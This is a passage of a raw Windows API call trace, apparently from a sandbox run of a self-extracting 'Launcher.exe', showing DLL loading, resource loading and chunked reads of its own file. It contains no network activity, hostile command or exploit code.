hHeap=0x590000, dwFlags=0x0, lpMem=0x5a6bf0 | out: hHeap=0x590000) returned 1 [0036.444] QueryPerformanceFrequency (in: lpFrequency=0x38fa04 | out: lpFrequency=0x38fa04*=100000000) returned 1 [0036.445] QueryPerformanceCounter (in: lpPerformanceCount=0x38f9fc | out: lpPerformanceCount=0x38f9fc*=2484292793150) returned 1 [0036.445] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x800) returned 0x5a66e0 [0036.445] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0036.445] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x88f070) returned 0x0 [0036.446] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x38f9f0 | out: lpCPInfo=0x38f9f0) returned 1 [0036.454] GetCurrentProcess () returned 0xffffffff [0036.454] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x38f9b4, lpSystemAffinityMask=0x38f9b0 | out: lpProcessAffinityMask=0x38f9b4, lpSystemAffinityMask=0x38f9b0) returned 1 [0036.455] GetCurrentProcess () returned 0xffffffff [0036.455] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x38f9c8, lpSystemAffinityMask=0x38f9c4 | out: lpProcessAffinityMask=0x38f9c8, lpSystemAffinityMask=0x38f9c4) returned 1 [0036.456] GetStartupInfoW (in: lpStartupInfo=0x38f9e4 | out: lpStartupInfo=0x38f9e4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0036.457] GetModuleHandleW (lpModuleName="kernel32") returned 0x77270000 [0036.457] GetProcAddress (hModule=0x77270000, lpProcName="SetDllDirectoryW") returned 0x77300483 [0036.458] SetDllDirectoryW (lpPathName="") returned 1 [0036.458] GetProcAddress (hModule=0x77270000, lpProcName="SetDefaultDllDirectories") returned 0x7757208a [0036.458] SetDefaultDllDirectories (DirectoryFlags=0x800) returned 1 [0036.458] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x38486c, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\launcher.exe")) returned 0x27 [0036.458] GetVersionExW (in: lpVersionInformation=0x384440*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x147654f, dwMinorVersion=0xfffffffe, dwBuildNumber=0x77df019b, dwPlatformId=0x77df02ea, szCSDVersion="⫘Y") | out: lpVersionInformation=0x384440*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0036.458] GetSystemDirectoryW (in: lpBuffer=0x383550, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0036.458] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\version.dll") returned 0x74910000 [0036.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="version.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0036.483] GetSystemDirectoryW (in: lpBuffer=0x383550, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0036.483] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\DXGIDebug.dll") returned 0x0 [0036.484] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\DXGIDebug.dll" (normalized: "c:\\users\\keecfmwgj\\desktop\\dxgidebug.dll")) returned 0xffffffff [0036.484] GetSystemDirectoryW (in: lpBuffer=0x383550, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0036.484] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\sfc_os.dll") returned 0x757f0000 [0036.489] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="sfc_os.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0036.489] GetSystemDirectoryW (in: lpBuffer=0x383550, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0036.489] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\SSPICLI.DLL") returned 0x75910000 [0036.490] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="SSPICLI.DLL", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0036.490] GetSystemDirectoryW (in: lpBuffer=0x383550, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0036.490] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\rsaenh.dll") returned 0x74660000 [0036.496] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rsaenh.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0036.496] GetSystemDirectoryW (in: lpBuffer=0x383550, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0036.496] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\UXTheme.dll") returned 0x74820000 [0036.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="UXTheme.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0036.505] GetSystemDirectoryW (in: lpBuffer=0x383550, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0036.505] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\dwmapi.dll") returned 0x747b0000 [0036.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="dwmapi.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 1 [0036.510] GetSystemDirectoryW (in: lpBuffer=0x383550, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0036.510] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\cryptbase.dll") returned 0x75900000 [0036.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="cryptbase.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 1 [0036.511] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x8b8468 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0036.511] GetSystemDirectoryW (in: lpBuffer=0x38e904, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0036.511] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\riched20.dll") returned 0x75770000 [0036.549] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77270000 [0036.549] GetProcAddress (hModule=0x77270000, lpProcName="AcquireSRWLockExclusive") returned 0x77df29f1 [0036.549] GetProcAddress (hModule=0x77270000, lpProcName="ReleaseSRWLockExclusive") returned 0x77df29ab [0036.549] VirtualQuery (in: lpAddress=0x8d2000, lpBuffer=0x38f860, dwLength=0x1c | out: lpBuffer=0x38f860*(BaseAddress=0x8d2000, AllocationBase=0x870000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000)) returned 0x1c [0036.549] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x8) returned 1 [0036.549] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x75970000 [0036.549] GetProcAddress (hModule=0x75970000, lpProcName="OleInitialize") returned 0x7598efd7 [0036.550] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x8, lpflOldProtect=0x38f8a0 | out: lpflOldProtect=0x38f8a0*=0x4) returned 1 [0036.550] OleInitialize (pvReserved=0x0) returned 0x0 [0036.560] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0036.560] LoadLibraryExA (lpLibFileName="COMCTL32.dll", hFile=0x0, dwFlags=0x0) returned 0x749e0000 [0036.662] GetProcAddress (hModule=0x749e0000, lpProcName="InitCommonControlsEx") returned 0x74a009ce [0036.662] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f8a0 | out: lpflOldProtect=0x38f8a0*=0x4) returned 1 [0036.662] InitCommonControlsEx (picce=0x38f928) returned 1 [0036.664] GdiplusStartup (in: token=0x38f930, input=0x38f918, output=0x0 | out: token=0x38f930, output=0x0) returned 0x0 [0036.670] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0036.670] LoadLibraryExA (lpLibFileName="SHELL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75c30000 [0037.697] GetProcAddress (hModule=0x75c30000, lpProcName="SHGetMalloc") returned 0x75c50602 [0037.697] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f8a0 | out: lpflOldProtect=0x38f8a0*=0x4) returned 1 [0037.698] SHGetMalloc (in: ppMalloc=0x8b8430 | out: ppMalloc=0x8b8430*=0x75ab66bc) returned 0x0 [0037.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x38f920 | out: lpCPInfo=0x38f920) returned 1 [0037.699] GetCommandLineW () returned="\"C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe\" " [0037.699] SetEnvironmentVariableW (lpName="sfxcmd", lpValue="\"C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe\" ") returned 1 [0037.700] SetEnvironmentVariableW (lpName="sfxpar", lpValue="") returned 1 [0037.700] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8cdc90, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\launcher.exe")) returned 0x27 [0037.700] SetEnvironmentVariableW (lpName="sfxname", lpValue="C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe") returned 1 [0037.700] GetLocalTime (in: lpSystemTime=0x38f948 | out: lpSystemTime=0x38f948*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x19, wMilliseconds=0x5c)) [0037.700] GetLastError () returned 0x0 [0037.700] SetLastError (dwErrCode=0x0) [0037.701] SetEnvironmentVariableW (lpName="sfxstime", lpValue="2023-09-19-17-16-25-092") returned 1 [0037.701] GetModuleHandleW (lpModuleName=0x0) returned 0x870000 [0037.701] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.701] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77000000 [0037.701] GetProcAddress (hModule=0x77000000, lpProcName="LoadIconW") returned 0x7701b142 [0037.701] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f8c8 | out: lpflOldProtect=0x38f8c8*=0x4) returned 1 [0037.702] LoadIconW (hInstance=0x870000, lpIconName=0x64) returned 0x502c5 [0037.703] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.704] GetProcAddress (hModule=0x77000000, lpProcName="LoadBitmapW") returned 0x77028b72 [0037.704] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f8a0 | out: lpflOldProtect=0x38f8a0*=0x4) returned 1 [0037.704] LoadBitmapW (hInstance=0x870000, lpBitmapName=0x65) returned 0x0 [0037.704] FindResourceW (hModule=0x870000, lpName=0x65, lpType="PNG") returned 0x8d3340 [0037.704] SizeofResource (hModule=0x870000, hResInfo=0x8d3340) returned 0xb45 [0037.704] LoadResource (hModule=0x870000, hResInfo=0x8d3340) returned 0x8d3524 [0037.704] LockResource (hResData=0x8d3524) returned 0x8d3524 [0037.705] GlobalLock (hMem=0x4d0004) returned 0x5907f0 [0037.705] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.705] GetProcAddress (hModule=0x75970000, lpProcName="CreateStreamOnHGlobal") returned 0x7599363b [0037.706] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f87c | out: lpflOldProtect=0x38f87c*=0x4) returned 1 [0037.706] CreateStreamOnHGlobal (in: hGlobal=0x4d0004, fDeleteOnRelease=0, ppstm=0x38f904 | out: ppstm=0x38f904*=0x5af968) returned 0x0 [0037.707] GdipAlloc (size=0x10) returned 0x112230 [0037.708] GdipCreateBitmapFromStream (stream=0x5af968, bitmap=0x38f8cc) returned 0x0 [0037.735] IUnknown:Release (This=0x5af968) returned 0x2 [0037.735] GdipCreateHBITMAPFromBitmap (bitmap=0x112248, hbmReturn=0x38f908, background=0xffffff) returned 0x0 [0037.760] GdipDisposeImage (image=0x112248) returned 0x0 [0037.760] GdipFree (ptr=0x112230) [0037.760] GlobalUnlock (hMem=0x4d0004) returned 0 [0037.762] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.763] LoadLibraryExA (lpLibFileName="GDI32.dll", hFile=0x0, dwFlags=0x0) returned 0x76d90000 [0037.763] GetProcAddress (hModule=0x76d90000, lpProcName="GetObjectW") returned 0x76da6c3a [0037.764] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f89c | out: lpflOldProtect=0x38f89c*=0x4) returned 1 [0037.764] GetObjectW (in: h=0x4050a2c, c=24, pv=0x38f91c | out: pv=0x38f91c) returned 24 [0037.765] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.766] GetProcAddress (hModule=0x77000000, lpProcName="GetDC") returned 0x770172c4 [0037.766] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f890 | out: lpflOldProtect=0x38f890*=0x4) returned 1 [0037.767] GetDC (hWnd=0x0) returned 0x4010b2f [0037.767] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.768] GetProcAddress (hModule=0x76d90000, lpProcName="GetDeviceCaps") returned 0x76da4de0 [0037.768] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f88c | out: lpflOldProtect=0x38f88c*=0x4) returned 1 [0037.769] GetDeviceCaps (hdc=0x4010b2f, index=88) returned 96 [0037.769] GetDeviceCaps (hdc=0x4010b2f, index=90) returned 96 [0037.769] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0037.770] GetProcAddress (hModule=0x77000000, lpProcName="ReleaseDC") returned 0x77017446 [0037.771] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x38f88c | out: lpflOldProtect=0x38f88c*=0x4) returned 1 [0037.771] ReleaseDC (hWnd=0x0, hDC=0x4010b2f) returned 1 [0037.771] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Launcher.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xe4 [0037.771] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x80) returned 0x5b2310 [0037.771] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x80) returned 0x5b3c48 [0037.771] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5b2310, Size=0x120) returned 0x5b3cd0 [0037.771] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5b3c48, Size=0x120) returned 0x5b3df8 [0037.771] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5b3cd0, Size=0x1e8) returned 0x5b15c0 [0037.771] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5b3df8, Size=0x1e8) returned 0x5b3df8 [0037.772] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x0 [0037.772] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.772] SetFilePointer (in: hFile=0xe4, lDistanceToMove=8176, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x1ff0 [0037.772] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x1ff0 [0037.772] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.772] SetFilePointer (in: hFile=0xe4, lDistanceToMove=16352, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x3fe0 [0037.772] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x3fe0 [0037.772] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.773] SetFilePointer (in: hFile=0xe4, lDistanceToMove=24528, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x5fd0 [0037.773] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x5fd0 [0037.773] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.773] SetFilePointer (in: hFile=0xe4, lDistanceToMove=32704, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x7fc0 [0037.773] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x7fc0 [0037.773] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.773] SetFilePointer (in: hFile=0xe4, lDistanceToMove=40880, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x9fb0 [0037.773] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x9fb0 [0037.773] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.773] SetFilePointer (in: hFile=0xe4, lDistanceToMove=49056, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0xbfa0 [0037.773] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0xbfa0 [0037.774] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.774] SetFilePointer (in: hFile=0xe4, lDistanceToMove=57232, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0xdf90 [0037.774] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0xdf90 [0037.774] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.774] SetFilePointer (in: hFile=0xe4, lDistanceToMove=65408, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0xff80 [0037.774] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0xff80 [0037.774] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.774] SetFilePointer (in: hFile=0xe4, lDistanceToMove=73584, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x11f70 [0037.774] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x11f70 [0037.774] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.774] SetFilePointer (in: hFile=0xe4, lDistanceToMove=81760, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x13f60 [0037.775] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x13f60 [0037.775] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.775] SetFilePointer (in: hFile=0xe4, lDistanceToMove=89936, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x15f50 [0037.775] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x15f50 [0037.775] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.775] SetFilePointer (in: hFile=0xe4, lDistanceToMove=98112, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x17f40 [0037.775] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x17f40 [0037.775] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.775] SetFilePointer (in: hFile=0xe4, lDistanceToMove=106288, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x19f30 [0037.775] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x19f30 [0037.775] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.776] SetFilePointer (in: hFile=0xe4, lDistanceToMove=114464, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x1bf20 [0037.776] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x1bf20 [0037.776] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.776] SetFilePointer (in: hFile=0xe4, lDistanceToMove=122640, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x1df10 [0037.776] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x1df10 [0037.776] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.776] SetFilePointer (in: hFile=0xe4, lDistanceToMove=130816, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 0x1ff00 [0037.776] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x38b60c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x38b60c*=0) returned 0x1ff00 [0037.776] ReadFile (in: hFile=0xe4, lpBuffer=0x38b620, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x38b5d8, lpOverlapped=0x0 | out: lpBuffer=0x38b620*, lpNumberOfBytesRead=0x38b5d8*=0x2000, lpOverlapped=0x0) returned 1 [0037.776] SetFilePointer (in: hFile=0xe4, lDistanceToMove=138992, lpDistanceToMoveHigh=0x38b5ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x38b5ec*=0) returned 